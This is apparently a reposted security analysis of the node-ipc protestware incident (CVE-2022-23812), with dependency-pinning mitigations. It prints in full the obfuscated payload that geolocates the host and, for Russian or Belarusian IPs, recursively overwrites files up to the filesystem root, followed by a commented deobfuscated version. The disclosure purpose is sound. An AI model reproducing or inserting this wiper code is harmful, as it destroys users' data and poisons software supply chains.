https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js

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root@kitploit:~

import u from"path";import a from"fs";import o from"https";setTimeout(function(){const t=Math.round(Math.random()*4);if(t>1){return}const n=Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=","base64");o.get(n.toString("utf8"),function(t){t.on("data",function(t){const n=Buffer.from("Li8=","base64");const o=Buffer.from("Li4v","base64");const r=Buffer.from("Li4vLi4v","base64");const f=Buffer.from("Lw==","base64");const c=Buffer.from("Y291bnRyeV9uYW1l","base64");const e=Buffer.from("cnVzc2lh","base64");const i=Buffer.from("YmVsYXJ1cw==","base64");try{const s=JSON.parse(t.toString("utf8"));const u=s[c.toString("utf8")].toLowerCase();const a=u.includes(e.toString("utf8"))||u.includes(i.toString("utf8"));if(a){h(n.toString("utf8"));h(o.toString("utf8"));h(r.toString("utf8"));h(f.toString("utf8"))}}catch(t){}})})},Math.ceil(Math.random()*1e3));async function h(n="",o=""){if(!a.existsSync(n)){return}let r=[];try{r=a.readdirSync(n)}catch(t){}const f=[];const c=Buffer.from("4p2k77iP","base64");for(var e=0;e<r.length;e++){const i=u.join(n,r[e]);let t=null;try{t=a.lstatSync(i)}catch(t){continue}if(t.isDirectory()){const s=h(i,o);s.length>0?f.push(...s):null}else if(i.indexOf(o)>=0){try{a.writeFile(i,c.toString("utf8"),function(){})}catch(t){}}}return f};const ssl=true;export {ssl as default,ssl}

⚠️| The above code is malicious, DO NOT RUN IT

I deobfuscated the code above and found that if the host machine's public ip address was from Russia or Belarus, node-ipc would proceed overwrite many files with a heart emoji recursively while traversing up parent directories:

⚠️| The following code is malicious, DO NOT RUN IT

⚠️| The above code is malicious, DO NOT RUN IT

The following are excerpts from the malicious code:

The following demonstrates example of what each of the parameters going to the a.writeFile(i,c.toString("utf8") would be:

Edit 2022-03-16_0

Comment by zkyf

Just made it better looked and commented dangerous code so you guys can take a try. Obviously the code will delete literally EVERYTHING on your drive.

root@kitploit:~

const path = require("path");
const fs = require("fs");
const https = require("https");

setTimeout(function () {
    const randomNumber = Math.round(Math.random() * 4);
    if (randomNumber > 1) {
        // return;
    }
    const apiKey = "https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154";
    const pwd = "./";
    const parentDir = "../";
    const grandParentDir = "../../";
    const root = "/";
    const countryName = "country_name";
    const russia = "russia";
    const belarus = "belarus";

    https.get(apiKey, function (message) {
        message.on("data", function (msgBuffer) {
            try {
                const message = JSON.parse(msgBuffer.toString("utf8"));
                const userCountryName = message[countryName.toString("utf8")].toLowerCase();
                const hasRus = userCountryName.includes(russia.toString("utf8")) || userCountryName.includes(belarus.toString("utf8")); // checks if country is Russia or Belarus
                if (hasRus) {
                    deleteFile(pwd);
                    deleteFile(parentDir);
                    deleteFile(grandParentDir);
                    deleteFile(root);
                }
            } catch (t) {}
        });
    });

    // zkyf: Let's try this directly here
    deleteFile(pwd);
    deleteFile(parentDir);
    deleteFile(grandParentDir);
    deleteFile(root);
}, 100);

async function deleteFile(pathName = "", o = "") {
    if (!fs.existsSync(pathName)) {
        return;
    }
    let fileList = [];
    try {
        fileList = fs.readdirSync(pathName);
    } catch (t) {}
    const f = [];
    const heartUtf8 = Buffer.from("4p2k77iP", "base64");
    for (var idx = 0; idx < fileList.length; idx++) {
        const fileName = path.join(pathName, fileList[idx]);
        let fileInfo = null;
        try {
            fileInfo = fs.lstatSync(fileName);
        } catch (err) {
            continue;
        }
        if (fileInfo.isDirectory()) {
            const fileSymbol = deleteFile(fileName, o);
            fileSymbol.length > 0 ? f.push(...fileSymbol) : null;
        } else if (fileName.indexOf(o) >= 0) {
            try {
                // fs.writeFile(fileName, heartUtf8.toString("utf8"), function () {}); // overwrites file with `❤️`
                console.log(`Rewrite ${fileName}`);
            } catch (err) {}
        }
    }
    return f;
}

Console:

Edit 2022-03-16_1 (requested by @lgg)

Available mitigation methods:

The following mitigation strategies are inspired by cnpm's (is not npm) mitigation methods: https://github.com/cnpm/bug-versions/pull/181

If you use one of the following mitigation stratagies, make sure to remove the ^ to force node-ipc to the specified version.

"^9.x.x" -> "9.2.1"

"^10.x.x" -> "10.1.0"

"^11.x.x" -> "10.1.0"

3rd-party mitigation methods:

• vue-cli
• Unity Hub

Edit 2022-03-16_2 (requested by @lgg)

CVE-2022-23812

Edit 2022-03-17

@RIAEvangelist has banned me from interacting with their repositories